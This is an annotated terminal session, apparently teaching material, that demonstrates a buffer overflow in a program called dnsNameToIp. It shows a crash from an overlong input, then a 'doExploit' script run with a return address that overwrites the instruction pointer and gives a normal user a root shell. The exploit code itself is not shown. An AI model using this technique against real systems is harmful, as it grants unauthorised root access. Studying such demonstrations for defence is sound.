# Normal behaviour of dnsNameToIP
# input a URL and output an IP address
./dnsNameToIp www.w3.org
192.168.0.2

# Normal behaviour
./dnsNameToIp www.doesNotExist.org
Unknown

#  Segmentation fault suggests the target buffer is
# vulnerable to overflow
./dnsNameToIp wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
Unknown
Segmentation fault (core dump)

#  We use a script (doExploit) that automatically passes the 
# exploit byte code as a parameter. The script tests different 
# lengths of input strings. Eventually we get the correct
# length and the Insutrction Pointer is overwritten with our
# new IP, hence calling our shell program
# dnsnameyoIP was run as a normal user, but now we have
# a shell with root user access
[ig@hostname]$ ./doExploit 256 100 0xbffff5da dnsNameToIp
Length of strExploit [bytes]: 657
Executing: dnsNameToIp $EXPLOIT
Unknown
sh-2.05b#